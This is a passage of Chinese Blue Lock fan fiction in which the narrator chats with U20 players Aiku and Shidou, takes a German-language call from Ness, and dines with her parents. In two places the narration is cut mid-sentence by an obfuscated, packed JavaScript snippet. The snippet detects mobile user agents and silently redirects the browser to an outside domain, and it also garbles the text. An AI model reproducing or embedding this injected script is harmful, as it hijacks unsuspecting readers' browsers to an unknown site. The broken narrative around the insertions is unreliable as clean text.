他的声音恢复了惯常的温和磁性,却比刚才多了一丝不易察觉的探究,“这边有点吵。不介意的话,去那边……聊一聊?” 29. 来电 我自然是答应。聊一聊也算解解闷。 目光扫过不远处还在跟球门较劲、浑身冒着热气砰砰作响的闪堂秋人,以及训练场上其他或好奇或善意的目光,我主动迈开步子,率先朝着爱空刚才指的那片相对僻静的区域走去。训练场边缘的灯光不那么刺眼,几排长椅和放置恢复器械的架子构成了一道天然的半隔断。 爱空步履沉稳地跟在我身侧,保持着恰到好处的距离。他在一张长椅旁停下,却没有立刻坐下,而是随意地倚靠在旁边的器械架上,姿态放松却依旧挺拔。那双异色的眼瞳在稍暗的光线下显得更加深邃,如同蕴藏着星光的湖泊。 “清田夫人今天特意过来,”他开口了,声音依旧是那令人舒适的温润磁嗓,语气带着点自然的闲聊意味,目光却带着一丝不易察觉的探究,“是有什么重要项目要谈吗?”他顿了顿,修长的手指无意识地摩挲着器械冰凉的金属管壁,补充道,“当然,不方便的话完全不用回答。只是有点好奇,毕竟能让清田夫人亲自跑一趟的赞助,分量肯定不轻。” 他说话的方式很巧妙,既抛出了问题,又留足了余地,让人很难反感。我靠在另一边的长椅扶手上,看着他。这位U20的后防核心,显然不只是球场上的定海神针,心思也相当缜密。 “怎么猜的?”我没直接回答,反问道。 爱空嘴角勾起一个极淡的、了然的弧度。“直觉吧。清田夫人刚才也说了,是来‘看看赞助项目进展’。” 他微微偏头,视线仿佛穿透空气,投向训练场另一侧通道的方向,那是母亲和教练组离开的地方。“而且,如果这赞助是落在我们U20队里的某个人身上……比如我,或者闪堂那家伙……” 他轻笑了一声,带着点自嘲和洞察的意味,“清田夫人肯定会直接把我们叫过去单独谈话了,而不是像现在这样,只是让闪堂带着你随便玩玩。毕竟,商业代言这种事,流程和细节还是要当面敲定才正式,对吧?” 他的分析条理清晰,逻辑严密。确实,母亲做事向来滴水不漏,如果真是为某个球员而来,绝不会如此随意。 “所以,”爱空的目光重新落回我脸上,异色瞳中闪烁着温和却不容错辨的探究光芒,“可能性就剩下两个了。” 他伸出两根手指,不紧不慢地分析着,“第一,清田夫人赞助的是足协层面的新项目,一个需要长期观察、投入资源的大盘子,而不是针对某个具体的球员。比如……最近传得沸沸扬扬的某个秘密计划?” 他点到即止,没有说出“蓝色监狱”的名字,但彼此心知肚明。他顿了顿,手指落下,“第二,就是前阵子高调回国的糸师冴选手。他在欧洲的成就毋庸置疑,这次回国,拿到国内顶级品牌的代言也是顺理成章。清田集团旗下那么多产业,签下他,无论对品牌形象还是市场号召力,都是双赢。” 他停下来,看着我,那眼神像是在说:我猜得对不对? 空气安静了一瞬,只有远处闪堂那“砰砰砰”的射门声和训练场上的呼喊作为背景音。爱空的推断几乎全中,尤其是关于糸师冴的部分。我迎上他那双仿佛能洞察人心的异色眼瞳,坦诚地点了点头:“你猜得不错。确实……跟足协的新项目有关。” 我刻意略过了糸师冴的部分,毕竟那是母亲和糸师家之间的事,我无权透露更多。 爱空脸上并没有露出失望或意外的表情,反而像是得到了某种印证,嘴角那抹温和的笑意加深了些许。他极其自然地耸了耸肩,动作带着一种洒脱的优雅:“啊,果然。不过没关系,清田小姐不用有压力。” 他语气轻松,“我也只是闲聊解解闷罢了。毕竟……” 他话锋一转,带着点半真半假的感叹,“训练期间能见到女孩子的机会可太少了。要是连搭句话都搭不上,那也太惨了,对吧?” 这话听起来似乎有点轻浮,但由他口中说出,配合着那沉稳可靠的气质和眼底坦荡的笑意,反而让人觉得只是朋友间随性的调侃,并无冒犯之意。 他似乎觉得这个话题还不够有趣,又笑着补充道:“其实也不是完全见不到。女足基地那边的厕所偶尔维修不够用,姑娘们会来我们这边‘借道’。” 他模仿了一个轻巧的引号手势,“每次她们经过,那真是……‘唰’地一下,整个训练场都安静了,所有目光都黏在她们身上,连球滚到脚边都忘了捡。” 他语气带着点无奈的自嘲,“可惜啊,姑娘们好像都看不上我们这群愣头青,一个个目不斜视,走得飞快。也是呢……” 他顿了顿,声音里多了一丝不易察觉的落寞和坦然的敬佩,“毕竟我们这群男足小子,连U20世界杯的八强门槛都还没摸到过几次。而日本女足,清田夫人她们……可是实打实地捧起过世界杯冠军奖杯的。差距太大了。” 这份坦率承认差距的态度,反而让人心生好感。我看着他,这位在场上如同磐石般可靠的后卫,此刻谈起女足的成就,眼中只有纯粹的敬意,没有丝毫的酸涩或不忿。这份气度,确实配得上他的队长袖标。 “所以,” 爱空的目光再次聚焦在我身上,带着一丝认真和纯粹的好奇,仿佛刚才那些感慨只是铺垫,“清田小姐以后,会考虑踢女足吗?继承清田夫人的衣钵?” 他问得直接,眼神里是纯粹的探究,没有试探或压力。 这个问题……凪诚士郎也曾问过。在训练场边,他顶着那张永远睡不醒的脸,慢悠悠地问:“爱……你以后……也会成为足球运动员吗?踢女足?” 那时我的回答是模糊的,甚至带着点疏离。 但现在,站在U20男足的训练场边,感受着脚下草皮传来的生命力,回味着刚才射门时力量从核心传递到脚尖的瞬间快感,再看着爱空那双沉淀着无数绿茵风云的异色眼眸,心中那个答案似乎清晰了许多。 我微微歪了歪头,迎上他探寻的目光,语气里带着一种连自己都未曾察觉的、前所未有的轻松和可能:“目前还不清楚呢。” 我实话实说,“毕竟,我的球……现在踢得还不够好。” 这并非自谦,而是基于凯撒和内斯那些严苛标准下的客观评价。 爱空闻言,低低地笑了起来,那笑声如同温润的玉石相击,带着包容和鼓励。“不够好?” 他重复了一遍,眼中笑意更深,“清田小姐太谦虚了。刚才那脚射门,还有角球,底子和感觉都摆在那里。假以时日……” 他顿了顿,抛出了一个更“大”的问题,带着点促狭的试探,“难道……是想像清田夫人当年那样,再帮日本女足捧回一座世界杯冠军奖杯?” 放在以前,在踏入蓝色监狱之前,在凯撒那冰冷的指令和内斯热切的鼓励灌入耳中之前,甚至在母亲讲述她与足球结缘的故事之前——听到这样“宏伟”的目标,我肯定会毫不犹豫地立刻回绝,觉得那简直是天方夜谭。 但此刻,站在这里,感受着心脏因挑战而加速的搏动,想到玲王眼中燃烧的火焰,凪那别扭的托付,凯撒那句“瞄准死角”的冰冷箴言,还有母亲在夕阳下捧起奖杯时眼底沉淀的光……一股前所未有的、混杂着渴望与无畏的情绪悄然升起。 我看着爱空那双含着笑意、等待答案的异色眼眸,嘴角轻轻上扬,声音不高,却带着一种连自己都感到新奇的笃定: “可能吧。” 我顿了顿,像是在确认自己的心意,又像是在对那个未知的未来宣告,“奖杯……谁会嫌多呢?” 话音落下,爱空明显愣了一下。随即,他那张总是带着沉稳可靠表情的脸上,绽放出一个极其灿烂、甚至可以说有些“闪堂化”的巨大笑容!那笑容瞬间驱散了异色瞳深处惯有的深邃和疏离,露出属于这个年纪少年纯粹的惊喜和欣赏。 “哈哈哈哈!” 他爽朗地笑出声,肩膀都微微震动,“说得好!清田小姐!你真是太有意思了!” 他毫不吝啬地夸奖着,眼中是毫不掩饰的欣赏,“这份气魄,我喜欢!这才像清田夫人的女儿!” 他笑够了,动作利落地从运动裤口袋里掏出手机,屏幕解锁的光芒映亮他带笑的脸:“怎么样?方便交换个联系方式吗?以后关于踢球……或者只是无聊想找人聊聊天,随时欢迎。” 他晃了晃手机,语气真诚又带着点朋友间的随意,“U20这边训练基地我熟,说不定还能帮你找点‘内部资源’练练手。” 这提议正合我意。无论是为了更深入了解这个顶级梯队的环境,还是多一个能交流足球的同龄人,爱空都是绝佳的人选。我立刻拿出自己的手机:“当然方便。” 扫码,添加,备注。看着手机屏幕上新增的“奥利弗·爱空”这个名字,以及他那张沉稳帅气的头像,一种新的联系悄然建立。 刚收起手机,目光下意识地又投向训练场中央。闪堂秋人不知何时已经停止了疯狂的射门练习,正弯着腰,双手撑着膝盖,大口大口地喘着粗气。橙红的短发被汗水彻底浸透,黏在额角和脸颊边,整张俊脸涨得通红,白色的训练背心也紧紧贴在身上,勾勒出起伏的胸膛,整个人像刚从水里捞出来一样,浑身上下都在冒着肉眼可见的热气。那副样子,既狼狈又带着一股拼命后的酣畅淋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251829|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漓。 我拿起刚才放在长椅上、还没开封的两瓶运动饮料,走了过去。 “给。” 我把其中一瓶递到他面前。 闪堂闻声,有些吃力地抬起头。看清是我,他橙红的眼睛里瞬间爆发出光彩,刚才累得像条死狗的样子神奇地消退了几分。他咧嘴一笑,露出两颗可爱的小虎牙,声音因为喘息还有些不稳:“啊……谢、谢谢清田小姐!” 他接过水瓶,拧盖子的动作都因为脱力而有些颤抖。拧开后,他仰起头,咕咚咕咚地猛灌起来,喉结剧烈滚动,清冽的液体顺着下巴流下,打湿了汗湿的衣襟。一瓶水,瞬间被他喝掉了大半。 “呼……” 长长地舒了一口气,闪堂用袖子抹了把脸上的汗水和溅到的水渍,整个人像是重新活了过来,虽然依旧喘着粗气,但眼睛亮晶晶地看着我,“活过来了!刚才真是……练得太投入了!” “嗯,看出来了。” 我忍着笑点点头,把另一瓶水也递给他,“还要吗?” “不用不用!够了够了!” 闪堂连忙摆手,脸上带着点不好意思的红晕(这次不是累的),“清田小姐,你人真好!还特意给我拿水!” “顺手而已。” 我看着他恢复活力的样子,想到他刚才那副“拼命三郎”的架势和爱空对他的评价,心中一动,也拿出了手机,“对了,闪堂君,要不要也交换个联系方式?以后方便联系。” 话音刚落,奇迹发生了! 上一秒还喘着粗气、浑身湿透、仿佛下一秒就要瘫倒在地的闪堂秋人,像是瞬间被注入了强效兴奋剂!他猛地挺直了腰板,橙红的眼睛瞪得溜圆,里面爆发出比刚才射门时还要亮十倍的光芒! “诶?!真的吗?!可以吗?!” 他激动得声音都拔高了几个度,脸上是巨大的、毫不掩饰的惊喜,甚至带点受宠若惊。他手忙脚乱地去摸自己同样汗湿的裤子口袋,动作快得像装了弹簧,生怕我反悔似的,“当然要!必须的!清田小姐!我的荣幸!” 他掏出手机的动作因为急切而显得有些笨拙,屏幕都被汗水弄得有些模糊。 扫码,添加,确认。看着手机屏幕上新增的“闪堂秋人”以及他那张笑容灿烂、橙红头发如同燃烧火焰的头像,这位U20王牌前锋脸上的笑容简直要咧到耳根了,刚才训练的疲惫仿佛彻底烟消云散,整个人容光焕发,像一只被主人摸了头的大型金毛犬。 就在这时,口袋里的手机突然震动起来,发出嗡嗡的蜂鸣。拿出来一看,屏幕上跳动着:亚历克西斯·内斯。 我朝还在傻乐的闪堂和旁边带着玩味笑意看戏的爱空做了个“抱歉”的手势,快步走向训练场更边缘、靠近出口的僻静角落,按下了接听键。 “喂?内斯?” “爱!” 内斯充满活力的声音立刻传了过来,带着明显的愉悦,“训练结束了吗?今天感觉怎么样?有没有按计划拉伸?凯撒今天还问起你的进度呢!” 他语速很快,像只快乐的小鸟,隔着听筒都能感受到他的关心和兴奋。 “嗯,刚结束不久。” 我靠在冰凉的墙壁上,感受着训练场喧嚣被稍稍隔开的安静,“感觉……还行。拉伸做过了。凯撒他……会问起我?” 这倒是有点意外。 “当然!虽然他嘴上不说!” 内斯的声音带着点“我懂”的得意,“你可是第一个让他主动远程教学的人!虽然只有那么一次!他对你的……嗯……‘可塑性’,还是挺在意的!” 他似乎觉得用“可塑性”这个词很贴切,“对了,你现在在哪呢?在家吗?” “没有。” 我如实回答,目光扫过眼前巨大的室内训练场,穿着统一训练服的U20队员们还在场上奔跑,“我在……U20国家队的训练基地这边。” 电话那头,瞬间陷入了一片死寂。 刚才还如同欢快溪流般流淌的德语背景音——训练结束后的喧嚣、队友的交谈、甚至凯撒偶尔冰冷的指令声——仿佛被一只无形的手猛地掐断。只剩下一种令人窒息的、电流通过听筒的细微嘶嘶声。 几秒钟,漫长得如同一个世纪。 然后,内斯的声音才重新响起,带着一种极其明显的、强行压抑住的震惊和难以置信,每一个单词都像是从喉咙里挤出来的,语速变得异常缓慢而沉重: “……U20……国家队……训练基地?” 他停顿了一下,像是在消化这个信息,又像是在确认自己没听错。 “爱……你……你已经……进入国家队了?” 30. 聊天 “不。”我澄清这个误会,指尖无意识地划过冰凉的墙壁,“我只是……跟着母亲过来这边办点事。正好场地空着,就顺便练练球。”电话那头令人窒息的沉默瞬间瓦解,取而代之的是内斯明显松了一口气的、带着懊恼的呼气声。 我这几天自学了德语,虽然还不能说得很流利,但听懂日常交流应该是没问题了。两个德国“网课老师”说我学会的还挺快的,应该是那三分之一的德国血统炫迈的功劳。 “Ah! So ist das! (啊!原来是这样!)” 他的声音重新轻快起来,带着点自嘲,“Gott sei Dank! Ich dachte schon... (谢天谢地!我还以为……)” 他没说完,但那份“差点以为你一步登天甩开我们”的潜台词清晰可辨。随即,他的语气被一种按捺不住的、如同气泡水般噗噗往外冒的兴奋取代,“Aber das passt perfekt! Weil... (不过这正好!因为……)” 他顿了顿,像是在酝酿一个巨大的惊喜,声音不自觉地拔高,充满了自豪:“Ich und Kaiser! Wir haben es geschafft! Wir sind in den U20-Kader aufgenommen worden! Offiziell! Heute en kam die Benachrichtigung! (我和凯撒!我们成功了!我们被选入U20大名单了!正式的!今天早上刚收到的通知!)” 即使隔着电话,我也能想象出他此刻的样子——那双梅色的下垂眼一定亮得惊人,或许还激动地挥舞着手臂,迫不及待地向远在日本的表妹分享这份荣耀。而电话背景音里,似乎极其短暂地传来一声极其轻微的、带着金属质感的冷哼,像是某个金蓝挑染的家伙恰好路过,并对这种“大惊小怪”表示不屑。 “真的?恭喜你们!”我由衷地说道,嘴角不自觉地上扬。能在这个年纪入选国家青年队,无论对谁都是巨大的肯定,尤其是对内斯这样将足球视为生命一部分的球员来说。 “Danke! Danke! (谢谢!谢谢!)” 内斯的声音洋溢着巨大的满足感,但很快,那兴奋的语调里掺入了一丝微妙的、欲言又止的迟疑,“eh... hm... (呃…嗯…)” 他支支吾吾起来,像是在措辞,又像是在给自己打气。背景音里,某个不耐烦的脚步声似乎停顿了一下。 “还有别的事?”我主动问道,试图帮他打破这尴尬的沉默。 “Ja! Also... (对!就是……)” 内斯像是抓住了救命稻草,语速重新加快,却又带着点不易察觉的紧张,“Wir... eh... haben bald ein Testspiel. Gegen eine lokale Auswahl. Nicht so wichtig, aber... (我们……呃……很快有场测试赛。对阵一支地方选拔队。不算太重要,但是……)” 他又卡壳了,然后像是终于把话挤了出来,“Ich habe noch... ein paar Freikarten für den Familienbereich übrig. Falls du... oder Onkel und Tante... Zeit und Lust h?tten... (我还有些……家属区的赠票。如果你……或者叔叔阿姨……有空和兴趣的话……)” 不给他爸爸妈妈吗?这个念头下意识地冒了出来。以德国人的家庭观念,这种值得骄傲的时刻,门票首先应该留给至亲才对。 电话那头陷入了一种奇怪的凝滞。先前那些细微的背景噪音——球鞋摩擦地板的声响、远处模糊的交谈声——仿佛瞬间被抽空了。只剩下内斯略显急促的呼吸声,通过电波微弱地传递过来。 “……Nein. (不。)” 他的声音低了下去,先前所有的兴奋和紧张都消失了,只剩下一种平板的、刻意维持的平静,像一层薄冰覆盖在深水上,“Sie... Sie wollten nicht, dass ich Fu?ball spiele. Eigentlich überhaupt nicht. (他们……他们不想我踢足球。事实上,根本反对。)” 这简单的几个词,像投入深潭的石子,沉甸甸地坠入一片无人知晓的寂静。我瞬间明白了那多余门票的由来,也理解了那份邀请背后小心翼翼隐藏的、或许连他自己都未曾清晰意识到的渴望——渴望来自真正理解并支持他这条道路的“家人”的见证。 “……我知道了。”我放轻了声音,冰凉的墙壁仿佛将一丝寒意传导至指尖,“我很想去,内斯。真的。但是……”我顿了顿,无奈地叹了口气,“我还在上学,平时课业很重,从东京飞过去看一场比赛……时间上恐怕很难安排。” 能清晰地听到电话那头,内斯轻轻吸了一口气,又缓缓吐出。那细微的气流声里裹挟着难以掩饰的失望,虽然他在极力克制。“……Verstehe. Das ist natürlich... verst?ndlich. (明白。这当然……可以理解。)” “不过!”我立刻补充道,试图驱散那层无形的失落,“父亲和母亲如果近期有去德国的行程,或者正好有空,他们绝对会去的!我保证!我会第一时间把这件事告诉他们。”想到父亲那“足球痴”的属性和母亲对内斯的欣赏,这话我说得很有底气。 “Wirklich? (真的吗?)” 内斯的声音瞬间亮了起来,像被重新点燃的火苗,虽然依旧微弱,却有了温度,“Das w?re... das w?re wirklich toll! Danke, Ai! (那……那真是太好了!谢谢你,爱!)” “嗯,交给我吧。” 又简单说了两句训练注意安全和再次恭喜的话,通话在一片比开始时微妙许多的气氛中结束了。我握着发烫的手机,站在原地,训练场的喧嚣再次涌入耳中。内斯最后那句努力振作起来的“Danke”和之前提及父母时那反常的平静,像两段迥异的旋律,在脑海里轻轻碰撞着。 *** 转身回到那片相对安静的区域,爱空和闪堂之间的气氛似乎也发生了微妙的变化。爱空依旧倚在器械架上,手里握着手机,屏幕还亮着,但他脸上那惯常的沉稳笑容里掺进了一丝难以言喻的……窘迫?而闪堂秋人则凑得极近,几乎要把脑袋搁在爱空肩膀上了,橙红的眼睛死死盯着那块发亮的屏幕,嘴里喋喋不休,那张帅脸上交织着难以置信、熊熊燃烧的八卦之火和一种单身狗特有的、酸溜溜的妒忌。 “……真的假的?就那个经常来看我们训练的?头发很长、笑起来有酒窝的那个?她居然主动约你吃饭?‘庆祝你入选U20’?这借口找得……啧啧!”闪堂的声音因为激动而有些拔高,带着毫不掩饰的刨根问底,“快说!你们什么时候这么熟了?上次队内聚餐她就坐你旁边吧?是不是那时候就……嗯?”他用胳膊肘暧昧地捅了捅爱空。 爱空无奈地侧身躲开,抬手揉了揉眉心,试图把手机收起来:“都说了只是普通朋友……碰巧遇到聊过几次而已。你别瞎猜。” “普通朋友?谁家普通朋友特意发信息约晚饭庆祝啊?我怎么没这种‘普通朋友’?”闪堂不依不饶,像个发现主人偷藏罐头的猫咪,“快从实招来!奥利弗·爱空!你是不是背着我脱单了?!说好的并肩作战到世界尽头呢?你这个叛徒!” 看到我走过来,正说得起劲的闪堂像是被猛地掐住了脖子,瞬间噤声,脸上闪过一丝被抓包的尴尬,迅速站直了身体,还欲盖弥彰地咳嗽了两声。爱空也顺势将手机塞回口袋,脸上那丝窘迫迅速被惯常的温和面具覆盖,只是耳根似乎还有点不易察觉的红。 这反差巨大的场面让我忍不住好笑,故意问道:“聊什么呢?这么热闹。看闪堂君一副发现了惊天大秘密的样子。” “没!没什么!”闪堂立刻大声否认,眼神飘忽,随即像是找到了救星,猛地指向我,语气带着一种“你快管管他”的告状意味,“清田小姐你来得正好!爱空他!他疑似谈恋爱了!有女孩子约他晚上吃饭!他还不承认!” 爱空无奈地叹了口气,对着我露出一个“你看到了吧”的表情,双手摊开,语气带着点求饶的意味:“真的只是朋友……闪堂这家伙太大惊小怪了。” 他那副试图保持镇定却又掩不住一丝狼狈的样子,倒是比平时那完美无缺的沉稳模样生动了许多,看上去竟真有几分被冤枉的“渣男”窘迫感。 就在这时,一阵清脆的高跟鞋敲击地面的声音由远及近。母亲回来了,她步履从容,脸上带着淡淡的笑意,目光在我们三人身上扫过,精准地捕捉到了空气中那点尚未完全散去的、混合着八卦、窘迫和看好戏的微妙气氛。 “看来你们相处得很愉快。”母亲微笑着,语气温和,仿佛什么都没察觉,“辛苦你们了,秋人君,爱空君,陪这孩子折腾了一下午。” “不辛苦不辛苦!”闪堂立刻挺直腰板,脸上重新堆起灿烂的、略带傻气的笑容,仿佛刚才那个上蹿下跳的八卦精不是他,“能帮到清田小姐是我的荣幸!” 爱空也恢复了常态,微微颔首,语气沉稳可靠:“您太客气了,清田夫人,只是举手之劳。” 母亲的目光掠过窗外已经完全暗下来的天色,又看了看我们,像是忽然想起了什么,随口提议道:“这个时间了……你们训练也结束了吧?如果不急着归队,要不要一起去吃个晚饭?我知道附近有家不错的店,味道和营养都还可以,就当感谢你们今天的照顾。”她的邀请自然得体,带着长辈的关怀,又不显得过分热情。 令我略感意外的是,刚才还一副“我要加练到地老天荒”架势的闪堂秋人,眼睛瞬间亮了不止一个度,几乎是立刻大声应道:“要!有空!非常有空!谢谢清田夫人!”那速度快得像是生怕母亲反悔。 旁边的爱空也只是略微迟疑了一秒,便微笑着点头:“那就打扰您了。”态度从容,仿佛刚才那条让他略显窘迫的邀约信息从未出现过。 母亲显然对他们的爽快有些意外,但良好的修养让她没有表现出来,只是笑容更深了些:“好,那我去跟教练组打声招呼,你们去简单冲个澡换身衣服?我们停车场见。” 看着闪堂和爱空一前一后、脚步轻快(甚至可以说有点迫不及待)地冲向更衣室的背影,我忽然有点困惑。U20国家队的食堂……伙食真的差到让两位核心球员听到“不错的店”就如此积极吗? *** 到达餐厅的时候,父亲显然已经在此恭候多时了。 这是一家格调高雅却不显拘谨的西餐厅,柔和的灯光与舒缓的爵士乐营造出惬意的氛围。父亲订了一个靠窗的安静卡座,足够容纳我们五人。他穿着一件休闲 Polo 衫,金发在餐厅的灯光下依旧耀眼,正兴致勃勃地研究着菜单,看到我们进来,立刻扬起一个灿烂的笑容,挥手示意。 “哦!来了来了!这边!”他洪亮的声音引得附近几桌客人微微侧目,但他毫不在意,蓝眼睛里满是热情,“位置够大,随便坐!” 母亲自然地走到父亲身边的空位坐下,姿态优雅。剩下的座位就很明确了——爱空和闪堂几乎不可能,也绝不会主动选择挨着一位已为人妻的女士坐下,即便那位女士是他们敬仰的清田夫人。于是,我顺理成章地坐在了母亲旁边,爱空和闪堂则略显拘谨地并排坐在了我的对面。 父亲显然没在意这些细微的座位学问,他大手一挥,将那份厚重的菜单推到了桌子中央,爽快地说:“看看想吃点什么?别客气!我请客!这家店的熟成牛排和海鲜拼盘据说都是一绝!” 他顿了顿,脸上露出一种“任务已完成”的轻松表情,“我已经点了我们一家三口平时爱吃的几样,你们看看再加些什么合自己口味的。” 爱空得体地微微躬身,双手接过菜单:“非常感谢您,清田先生,让您破费了。” 他的语气真诚而稳重,没有丝毫谄媚,将菜单稍稍偏向旁边的闪堂,方便两人一起看。 “哪里的话!”父亲笑着摆摆手,身体向后靠在椅背上,姿态放松,“看着你们这些年轻有活力的孩子,我就高兴。感觉自己也跟着年轻了好几岁。” 他的目光落在爱空身上,带着长辈式的欣赏,“说起来,爱空君,你在U20队里可是定海神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16251830|182000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 针一样的存在,沉稳可靠,技术全面,很有大将之风。” 爱空闻言,微微颔首,那双异色的眼眸中闪过一丝谦逊:“您过奖了,清田先生。我还有很多需要学习和提升的地方。” 他顿了顿,目光看向父亲,语气变得更加郑重,带着一种清晰的敬意,却并非激动难抑,更像是一种经过沉淀的认可,“其实,能像这样和您共进晚餐,对我来说已是莫大的荣幸。我少年时期,就反复观看过您效力于REAL时期的许多比赛录像。您对出击时机的把握、指挥防线的能力,尤其是那种在门前舍我其谁的绝对气场,至今仍是我学习和努力的方向。能亲眼见到您,并且得到您的夸奖,我非常感激。” 这番话说得不卑不亢,条理清晰,既表达了对前辈巨星的崇敬,又保持了自己的风度和格调,听得人十分舒服。 父亲显然也很受用,他哈哈一笑,蓝眼睛里满是愉悦:“能被你这样有才华又懂球的年轻人记住和欣赏,是件让我非常高兴的事!这说明我当年那些扑救没白费,至少还激励了下一代的好苗子!” 他用力拍了拍爱空的肩膀,力道不小,带着足球人特有的豪爽。 随即,父亲的目光转向了从坐下后就显得有些手足无措、眼神时不时偷偷瞟向母亲又飞快移开的闪堂秋人。这位在球场上光芒四射的王牌前锋,此刻在退役传奇面前,紧张得像个小学生。 “还有你,闪堂君,对吧?”父亲的语气放得更缓和了些,带着鼓励,“U20的王牌前锋,我听美纪提起过你,说你冲击力十足,是未来的希望。” 被点名的闪堂猛地坐直了身体,像是被教官点名的新兵,脸上瞬间涨红,结结巴巴地回应:“是、是的!清田先生!非、非常感谢!我会继续努力的!” 他那头橙红的头发似乎都因为紧张而更醒目了几分。 父亲看着他这副样子,像是想起了什么有趣的往事,嘴角勾起一抹怀念的笑容:“别紧张,放松点。说起来,我年轻刚接触足球那会儿,踢的也是前锋位置。” “诶?!” 闪堂和爱空几乎同时发出了惊讶的声音,连我都有些意外。这事我可从来没听他说起过。 “很意外吧?”父亲得意地眨了眨眼,仿佛恶作剧成功的小孩,“那时候跑得快,脚头也硬,就喜欢往前冲,想着把球轰进球门的感觉有多爽。确实也进了不少球,在学校里还挺出风头的。” 他端起水杯喝了一口,语气渐渐带上了一丝感慨,“不过后来,进了职业俱乐部的青训营,见识了更广阔的世界……我才发现,原来世界上还有那么多比我更耀眼、天赋更恐怖的前锋。他们对于进球的那种渴望和嗅觉,简直是与生俱来的。” 他的目光变得悠远,仿佛穿透了时光,看到了年轻时那个站在十字路口的自己。“就在那个时候,队里原来的主力门将受伤了,训练赛缺人,教练看我反应快、胆子大、预判也不错,就临时抓壮丁让我去守门。” 父亲说着,自己都忍不住笑了起来,“结果那一场,我好像突然就开窍了,高接低挡,扑出了好几个必进球。扑救成功那一刻的成就感和刺激感,还有那种以一己之力守护整个球队最后防线的责任……那种感觉,奇妙地吸引了我。后来,我就主动向教练申请,正式转成了门将。” 他看向听得入神的闪堂,眼神变得认真起来:“所以啊,闪堂君,‘王牌前锋’这个称号,现在拿到它,证明了你的实力和潜力,这非常好!但这更是一个起点,一个督促你不断向前、变得更强动力。好好踢,珍惜你的天赋和这份位置感,我相信你以后肯定能闯出更广阔的一片天地来。” 这番带着亲身经历和真诚期许的话语,比任何空洞的鼓励都更有分量。闪堂秋人脸上的紧张渐渐褪去,取而代之的是一种被认可、被期待的郑重。他用力地点了点头,橙红的眼睛里闪烁着坚定的光芒,声音虽然还有些紧,却充满了决心:“非常感谢您的教导和鼓励,清田先生!我一定会牢记在心,更加努力,绝不会辜负这个称号和您的期望!” 这时,爱空已经快速而高效地浏览完菜单,并和闪堂低声交流了几句,添加了两道菜和饮品。他将菜单合上,递给一旁等候的服务生,动作流畅自然。 待服务生离开,爱空才转向父亲,接过刚才的话题,语气平和地补充道:“清田先生,说起来,我在职业生涯的早期,其实也尝试过前锋的位置。” 这下连父亲都露出了些许惊讶的表情:“哦?你也是?” “是的。”爱空微微点头,异色的眼眸中闪过一丝回忆的神色,“少年时期,凭借身体发育早的优势和不错的冲刺能力,确实在锋线上踢过一段时间。也享受过进球带来的快感。” 他顿了顿,语气转而变得理性,“但随着年龄增长,我发现自己更擅长观察全局,预判对手的进攻路线,对于破坏对方的进攻、保护球门,反而产生了更浓厚的兴趣和责任感。加上教练也觉得我的冷静和大局观更适合后防,就逐渐转型成了后卫,一直到现在。” 他讲述得轻描淡写,但其中必然也经历了无数的思考、挣扎与努力。从聚光灯下的锋线到默默奉献的后防,这个转变需要的不仅是位置的调整,更是心态和球风的彻底重塑。 父亲听完,眼中赞赏的意味更浓了,他用力点了点头:“好!非常好!无论是坚持一条路走下去,还是根据自身特点和球队需要做出改变,都需要巨大的勇气和智慧。你们两个年轻人,都很不错!” 他举起水杯,像是要敬酒一样,“来,为了足球,为了更好的未来!” 我们都笑着举起了杯子,玻璃杯在空中轻轻相碰,发出清脆的声响。餐厅里柔和的灯光洒下来,笼罩着这奇妙的五人组合——退役的传奇夫妇,初涉足球的女儿,以及两位代表日本足球未来的年轻才俊。话题围绕着足球展开,父亲和母亲分享着过去的趣事和经验,爱空和闪堂则认真聆听,偶尔提出一些专业而 insightful 的问题,气氛融洽而热烈。 我看着眼前这一幕,看着父亲谈笑风生的侧脸,母亲优雅含笑的眼眸,爱空沉稳的应对,还有闪堂那逐渐放松下来、甚至开始手舞足蹈地描述某个进球的身姿……心底那片因为玲王和凪离开而空出的角落,似乎被一种新的、温暖的充实感悄然填补。 这条刚刚踏上的足球之路,或许比我想象的,要宽广和有趣得多。 31. 凪 晚饭结束的很愉快,杯盘撤下后,空气里还残留着烤肉的焦香和甜点的微甜气息。闪堂秋人脸上的红晕还没完全褪去,不知道是餐厅暖气的缘故还是兴奋所致,他再次对我们——尤其是我母亲——进行了超过九十度的郑重道别,那头橙发几乎要戳到桌面。爱空则依旧沉稳,异色的眼眸带着得体的笑意,微微躬身,言辞诚恳地感谢了今晚的款待和“受益匪浅的交流”。父亲大笑着用力拍他们的肩膀,说着“下次再切磋”之类的话。母亲则微笑着颔首,叮嘱他们回去注意安全。 看着他们俩的身影消失在餐厅门口旋转玻璃门后,一种饱食后的慵懒和淡淡的满足感包裹了我。今晚的谈话,父亲那些鲜少提及的往事,爱空和闪堂身上截然不同的朝气与烦恼,都像一块块拼图,让我看到的足球世界变得更加立体了些。 黑色的轿车无声地滑到餐厅门口,我们依次上车。车内隔绝了外面的寒冷,暖意融融。父亲舒服地靠在宽大的后座里,满足地叹了口气,随即像是想起了什么,蓝眼睛转向我,兴致勃勃地问:“对了爱,今天玩得开心吗?U20那俩小子,没给你添麻烦吧?闪堂那孩子热情是热情,就是有时候有点过头,爱空倒是稳重得多……” 